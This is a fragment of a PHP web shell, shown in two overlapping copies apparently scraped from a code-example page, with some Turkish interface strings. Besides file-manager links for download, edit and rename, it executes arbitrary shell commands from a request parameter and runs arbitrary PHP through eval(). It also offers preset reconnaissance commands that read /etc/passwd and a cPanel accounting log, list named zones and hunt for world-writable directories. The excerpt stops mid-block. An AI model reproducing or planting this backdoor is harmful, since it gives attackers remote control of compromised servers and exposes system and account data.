if (is_file("{$nscdir}/{$nfiles}")) {
                print " <center><a href=" . inclink('dlink', 'dwld') . "&dwld={$nfiles}&scdir={$nscdir}>Download</a>";
            } else {
                print "<center><font face=tahoma size=2 color=gray>indir</center>";
            }
            print "</td>";
            if (strstr(PHP_OS, "Linux")) {
                print "<td style=\"border:1px solid black\">";
                print "<center><font face=tahoma size=2 color=#dadada>";
                owgr($nfiles);
                print "</center>";
                print "</td>";
            }
            print "<td style=\"border:1px solid DeepSkyBlue  \">";
            print "<center><div>";
            permcol("{$nscdir}/{$nfiles}");
            print "</div>";
            print "</td>";
            print "</tr>";
        }
        print "</table>";
        print "<br>";
    } else {
        print "<div><br><center><b>[ Can't open the Dir, permission denied !! ]<p>";
    }
} elseif (!isset($_REQUEST['rfile']) && isset($_REQUEST['cmd']) || isset($_REQUEST['eval']) || isset($_REQUEST['subqcmnds'])) {
    if (!isset($_REQUEST['rfile']) && isset($_REQUEST['cmd'])) {
        print "<div><b><center>[ Executed command ][\$] : " . $_REQUEST['cmd'] . "</div></center>";
    }
    print "<pre><center>" . $sta;
    if (isset($_REQUEST['cmd'])) {
Exemplo n.º 2
0
elseif(is_file("$nscdir/$nfiles")){readable_size($scmess1);}else {print "---";}
print "</td>"; print "<td style=\"border:1px solid black\">"; 
print "<center><font face= tahoma size=2 >$scmess2"; print "</td>"; 
print"<td style=\"border:1px solid black\">"; 
print "<center><font face= tahoma size=2 >$scmess3"; print "</td>"; 
print "<td style=\"border:1px solid black\">"; 
print "<center><font face= tahoma size=2 >$scmess4"; print"</td>";
print "<td style=\"border:1px solid black\">";if(is_file("$nscdir/$nfiles")){
print " <center><a href=".inclink('dlink', 'edit')."&edit=$nfiles&scdir=$nscdir>Edit</a>";}else {print "<center><font face=tahoma size=2 color=gray>Düzenle</center>";}print"</td>";  print "<td style=\"border:1px solid black\">";print " <center><a href=".inclink('dlink', 'ren')."&ren=$nfiles&scdir=$nscdir>Rename</a>";print"</td>";print "<td style=\"border:1px solid black\">";
if(is_file("$nscdir/$nfiles")){
print " <center><a href=".inclink('dlink', 'dwld')."&dwld=$nfiles&scdir=$nscdir>Download</a>";}else {print "<center><font face=tahoma size=2 color=gray>indir</center>";}print"</td>"; if(strstr(PHP_OS,"Linux")){
print "<td style=\"border:1px solid black\">";
print "<center><font face=tahoma size=2 color=#dadada>";owgr($nfiles);
print "</center>";print"</td>";} 
print "<td style=\"border:1px solid DeepSkyBlue  \">";print "<center><div>";
permcol("$nscdir/$nfiles");print "</div>";print"</td>"; print "</tr>"; 
}print "</table>";print "<br>";}else {print "<div><br><center><b>[ Can't open the Dir, permission denied !! ]<p>";}}
elseif (!isset($_REQUEST['rfile'])&&isset($_REQUEST['cmd'])||isset($_REQUEST['eval'])||isset($_REQUEST['subqcmnds'])){
if (!isset($_REQUEST['rfile'])&&isset($_REQUEST['cmd'])){print "<div><b><center>[ Executed command ][$] : ".$_REQUEST['cmd']."</div></center>";}
print "<pre><center>".$sta;
if (isset($_REQUEST['cmd'])){$cmd=trim($_REQUEST['cmd']);callfuncs($cmd);}
elseif(isset($_REQUEST['eval'])){
ob_start();eval(stripslashes(trim($_REQUEST['eval'])));
$ret = ob_get_contents();ob_clean();print htmlspecialchars($ret);}
elseif (isset($_REQUEST['subqcmnds'])){
if ($_REQUEST['uscmnds']=='op1'){callfuncs('ls -lia');}
if ($_REQUEST['uscmnds']=='op2'){callfuncs('cat /etc/passwd');}
if ($_REQUEST['uscmnds']=='op3'){callfuncs('cat /var/cpanel/accounting.log');}
if ($_REQUEST['uscmnds']=='op4'){callfuncs('ls /var/named');}
if ($_REQUEST['uscmnds']=='op11'){callfuncs('find ../ -type d -perm -2 -ls');}
if ($_REQUEST['uscmnds']=='op12'){callfuncs('find ./ -type d -perm -2 -ls');}